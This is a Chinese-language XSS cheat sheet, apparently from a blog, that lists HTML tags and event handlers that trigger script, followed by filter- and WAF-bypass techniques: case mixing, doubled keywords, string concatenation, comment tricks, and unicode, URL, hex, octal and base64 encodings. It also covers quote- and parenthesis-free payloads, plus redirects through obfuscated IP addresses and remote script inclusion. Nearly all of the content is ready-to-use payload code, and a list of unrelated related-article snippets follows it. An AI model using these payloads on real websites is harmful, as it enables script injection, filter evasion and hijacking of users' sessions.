XSS常见的触发标签

2023-11-19

无过滤情况

<script>

<scirpt>alert("xss");</script>

<img>

图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">

<a>

<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

<input>

<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
按下按键时触发
<input type="text" onkeydown="alert(1)">
按下按键时触发
<input type="text" onkeypress="alert(1)">
松开按键式时触发
<input type="text" onkeyup="alert(1)">

<from>

<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe>

<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;``xss``&rpar;"></iframe>(````只有两个``)

<svg>

<svg onload=alert(1)>

<body>

<body onload="alert(1)">
利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<button>

元素上点击鼠标时触发
<button onclick="alert(1)">text</button>

<p>

元素上按下鼠标时触发
<p onmousedown="alert(1)">text</p>
元素上释放鼠标时触发
<p onmouseup="alert(1)">text</p>

<details>

<details ontoggle="alert('xss');">
使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">

<select>

<select onfocus=alert(1)></select>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>

<video>

<video><source onerror="alert(1)">

<audio>

<audio src=x onerror=alert("xss");>

<textarea>

<textarea onfocus=alert("xss"); autofocus>

<keygen>

<keygen autofocus onfocus=alert(1)> //仅限火狐

<marquee>

<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以

<isindex>

<isindex type=image src=1 onerror=alert("xss")>//仅限于IE

利用link远程包含js文件

在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">

javascript伪协议

<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>

expression属性

<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

background属性

<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

存在过滤情况

过滤空格

用 / 代替空格
<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
字符拼接(利用top)
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)

其它字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子
可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);"> 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制绕过
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
使用编码绕过,具体看上面列举的例子

过滤括号

当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码
<img src="x" onerror=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
使用IP
<img src="x" onerror=document.location=``http://2130706433/``>十进制
<img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制
<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//可以代替http://
使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议)
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS常见的触发标签 的相关文章

  • 当指定为对象属性时,IIFE 如何影响其中的此关键字

    var a name Rhona check function return this name console log a check This returns 一个空字符串我希望它返回 Rhona 它没有给出 undefined 或 n
  • css位置固定根本不起作用

    我正在寻找一个页脚类型的东西布莱克霍利网站 http www blakehawley com它有一些不同的链接等 它应该是横幅样式 我的意思是它应该停留在底部并被修复 div 是 菜单 这是我的 HTML
  • Vaadin 与 Bootstrap

    我计划制作一个应用程序 该应用程序在客户端具有复杂表单和逻辑验证的视图 我计划使用 AJAX 进行提交并具有一些视觉吸引力 我想要那些具有 Bootstrap 和 或 CoffeeScript 和 Vaadin 开发经验的人的推荐 我有两个
  • Firebase 9(模块化 sdk web )替换 fieldPath

    我将以下代码与 Firebase SDK 8 一起使用 const db firebase firestore const collectionRef db collection collectionName var query colle
  • 你能用c++加载一个网页,包括JS和动态html并获取渲染的DOM字符串吗?

    是否可以用 C 加载网页并获取渲染的 DOM 不仅仅是 HTTP 响应 还有 java 脚本运行后 可能是让它运行一段时间后 呈现的 DOM 特别是随着时间的推移可能发生变化的动态 HTML 有这个库吗 或者 如果不是 c 您是否知道可以用
  • 将用户输入显示为输入值而不进行清理是否安全?

    假设我们有一个表单 用户可以在其中输入各种信息 我们验证了信息 发现有些问题 字段丢失 电子邮件无效等等 当再次向用户显示表单时 我当然不希望他必须再次输入所有内容 因此我想填充输入字段 如果不进行消毒 这样做安全吗 如果没有 首先应该进行
  • 如何在 Laravel 7.x 中从控制器返回视图时传递 cookie?

    在 laravel 7 x 中 有什么方法可以在返回视图时将 cookie 传递给客户端吗 类似于 return view welcome gt cookie name value min 嗯 我做了一些研究 发现有一些方法 我熟悉的两个是
  • 网页编码,设置矛盾[重复]

    这个问题在这里已经有答案了 如果一个网页有 但http标头有 Content Type text html charset UTF 8 那么假设什么编码呢 在 HTML5 中 优先级定义为 用户浏览器设置 字节顺序标记 HTTP 标头 or
  • Tomcat 是否立即支持 JAX-RS(它是否支持 JAX-RS)?

    从教材 RESTful Java with JAX RS 中我们可以读到 如果我们的应用程序服务器是 JAX RS 感知的 或者换句话说 与 JAX RS 紧密集成 则声明我们的ShoppingApplication作为 servlet 的
  • 从网站获取数据的vba代码

    我是这个网站和 VBA 编程的新手 我遇到了一个问题 我必须从中获取数据这一页 http www kieskeurig nl zoeken index html q 4960999543345 我需要有超链接网址Check Rates 10
  • 谁能解释一下这些 XSS 测试字符串吗?

    最近我发现了这个关于 XSS 和 Web 应用程序安全的教程 gt https www owasp org index php XSS Filter Evasion Cheat Sheet XSS Locator https www owa
  • 用于网站的 Git / 接收后 / 测试站点和生产站点的分离

    我使用 Git 来管理网站的源代码和部署 目前测试站点和实时站点在同一个机器上运行 关注此资源http toroid org ams git website howto http toroid org ams git website how
  • 通过站点到站点 VPN 将 Azure 网站连接到本地数据库

    我的目标是运行一个天蓝色的网站 该网站可以访问我们本地公司数据库中的数据 我按照网络上的教程设置了一个 Azure 虚拟网络 并通过站点到站点 VPN 将其连接到我们本地公司网络 在天蓝色门户中 我可以看到连接实际上正在工作 并且数据已被接
  • 为什么 XSS 注入需要对 & 进行转义

    OWASP 建议转义以防止 XSS 注入的五个字符是 lt gt 其中 我无法理解为什么 符号 应该被转义以及如何将其用作注入脚本的向量 有人可以举个例子 所有其他四个字符都被转义 但与号没有转义 所以会有 XSS 注入漏洞 我已经检查了另
  • JavaScript 中的对象解构[重复]

    这个问题在这里已经有答案了 gt a a true Statement lt a true 上面的语句是赋值true to a 为什么上面的语句在chrome控制台中没有报错 虽然下面的语句给出了错误 gt a a true Stateme
  • GWT SafeHTML、XSS 和最佳实践

    OWASP 的优秀人员强调 您必须对 HTML 文档中要放入不受信任数据的部分 正文 属性 JavaScript CSS 或 URL 使用转义语法 看OWASP XSS https www owasp org index php XSS 2
  • 使用内容安全策略防止 Internet Explorer 11 上的内联 JavaScript

    是否可以使用 ASP NET WebForm 上的 CSP 来阻止 Internet Explorer 11 上的内联 JavaScript 我知道 IE 11 不支持内容安全策略级别 2 但它支持级别 1 0 我尝试了很多方法 但没有明确
  • Ruby On Rails - 在控制器中使用关注点

    可能的菜鸟警告 刚接触 RoR 我正在尝试在 RoR 中使用关注点 现在我只写了一个非常简单的问题 app controllers concerns foo rb module Foo extend ActiveSupport Concer
  • 发布后忽略基本标签

    在 Chrome 上我收到错误Refused to execute a JavaScript script Source code of script found within request 在发布包含域名的数据后 另请注意任一页面上都缺
  • 对同一域发出 get 请求,出现 CORS 错误

    在浏览器扩展中 这是我的 ajax 调用 var xhr new XMLHttpRequest xhr open GET window location href true xhr responseType arraybuffer xhr

随机推荐

  • Flume之:二、企业开发案例

    Flume之 二 企业开发案例 文章目录 Flume之 二 企业开发案例 三 企业开发案例 1 监控端口数据官方案例 2 实时读取本地文件到HDFS案例 3 实时读取目录文件到HDFS案例 4 flume监控Kafka gt Spark知识
  • QCC300x笔记(3) -- QCC3007开发调试经验

    哈喽大家好 这是该系列博文的第三篇 篇 lt lt 系列博文索引 快速通道 gt gt 写在前面 这篇博客主要记录 在使用QCC300x平台中所遇到的问题以及解决方法 会不定时更新 1 使用的堆栈空间大小超出或者全局变量超出 会报以下错误
  • R语言回归分析

    R语言回归分析 回归分析可以说是统计学的核心 它其实是一个广义的概念 通指那些用一个或多个预测变量 也称自变量或解释变量 来预测响应变量 也称因变量 效标变量或结果变量 的方法 通常 回归分析可以用来挑选与响应变量相关的解释变量 可以描述两
  • ChatGPT国产平替出现了:APP商店就能下载,还可给AI加人设,背后公司刚成立3个月...

    明敏 发自 凹非寺量子位 公众号 QbitAI ChatGPT太火爆谁不想上手试试 但注册复杂 服务器拥挤 着实有点麻烦 不过很快就有极客网友指路 说国内其实已经有类似的APP上线了 也是上知天文下知地理的那种 比如聊聊 三体 还会说自己喜
  • 股票与债券的区别与联系

    1 股票与债券的联系 2 股票与债券的区别
  • C# Debug.WriteLine 参数显示不对{0}

    最近使用这个函数调试 原始代码 StackTrace st new StackTrace new StackFrame true Debug WriteLine Stack trace for current level 0 st ToSt
  • PgAdmin中的数据库查询功能

    参考博客 https blog csdn net qq 28289405 article details 80249509 utm medium distribute pc relevant none task blog BlogComme
  • 2022-TCGA数据库重大更新后RNASeq的STAR-Counts数据的下载与整理

    TCGA GEO 文献阅读 数据库 理论知识 R语言 Bioconductor 服务器与Linux 最近有粉丝留言 TCGA数据库发生更新 下载的数据和之前的不一样 比如转录组 之前是HTSeq流程的数据 现在是STAR Counts的数据
  • Jupyter Error “bad file descriptor“ in VSCode

    Jupyter Error bad file descriptor in VSCode 直接跑这一行 pip install upgrade force reinstall no cache dir jupyter
  • 已知斐波那契数列 1 1 2 3 5 8… ,求出第10项的值

    1 1 1 2 3 5 8 首先我们可以在这些数中找到规律 斐波那契数列的规定是固定的 从第三项开始等于前两项的和 第一项和第二项固定为 1 在求第N项时 首先把前面两项相加 再重新给前两项赋值 2 我们可以把第三项设为 np 那第二项的值
  • iOS 17更新,让苹果失去了魅力!

    1 iOS17的更新缺乏新意 随着WWDC2023的落幕 苹果发布了iOS17的开发者测试版 不过 由于需要开发者账号才能抢先体验 许多果粉们无法第一时间尝试iOS17的新功能 但实际上 这次的更新并没有带来令人期待的亮点 放眼望去 iOS
  • 优秀软件测试工程师必备的8个能力!-(附思维导图)

    结合自己以往的工作经验 自己梳理出来一些材料 绝对原创 绝对干货 优秀的软件测试工程师必备的 8个能力 作为一名软件工程师 需要的能力并不多 但是要成为一名优秀的软件测试工程师 需要的能力就比较多了 自己整理出来8个方面 每个方面都会分成很
  • CLIP与CoOp代码分析

    CLIP与CoOp代码分析 CoOp是稍微改了下CLIP的text encoder CLIP代码 https github com OpenAI CLIP CoOp代码 https github com KaiyangZhou CoOp 输
  • 配置无线WLAN旁挂三层组网直接转发

    企业用户接入 WLAN 网络 以满足移动办公的最基本需求 且在覆盖区域内移动 发生漫游时 不影响用户的业务使用 使用 VLAN pool 作为业务 VLAN 可以避 免出现 IP 地址资源不足或者 IP 地址资源浪费 减小单个 VLAN 下
  • 有效的域名后缀列表

    Version 2016060300 Last Updated Fri Jun 3 07 07 01 2016 UTC AAA AARP ABB ABBOTT ABBVIE ABOGADO ABUDHABI AC ACADEMY ACCEN
  • ffmpeg命令详解_火爆抖音60帧视频制作教程详解

    针对目前火爆抖音的超清60帧视频 今晚写一篇详细的制作教程 供大家分享 声明 60帧视频制作教程详解 文章内容为本人原创 转载请注明出处 首先再做学做补帧教程之前 大家要明白帧率的提升只是画面流畅度的提升 而非画面清晰度的提升 但是两者是有
  • 怎么写文献综述

    文献综述是由原始文献中大量的数据 资料 不同观点加以梳理整合后所形成的 文献综述的撰写时要将客观资料与主观论断融为一体 但是不能述评鲜明的表达作者本人的观点和立场 文献综述需要包含以下内容 问题提出的背景 发展过程 基本理论 最新成就 存在
  • Unity3D 碰撞器和触发器

    对于碰撞器和触发器经常忘记用法 这次主要记录下以便于能够复习用 1 碰撞器 发生条件 1 碰撞的双方中一定至少要有一个Rigidbody存在 并且碰撞双方必须都要有碰撞体组件 2 碰撞双方若只有一个有刚体 那么那个刚体一定要处于运动的状态下
  • Redis爬坑记(一):incr命令和expire命令的误区

    关注公众号 要实现的功能 限制用户的每分钟的访问次数 一个有严重bug的代码 每次访问来了 就执行代码块二 当第一次访问 就走else语句 设置当前用户的次数为1 且设置该key的有效期是一分钟 在一分钟之内 第二次来访问了 就走if语句了
  • XSS常见的触发标签

    无过滤情况 img 图片加载错误时触发 img src x img src 1 鼠标指针移动到元素时触发 img src 1 鼠标指针移出时触发 img src 1 a a href https www qq com qq a a href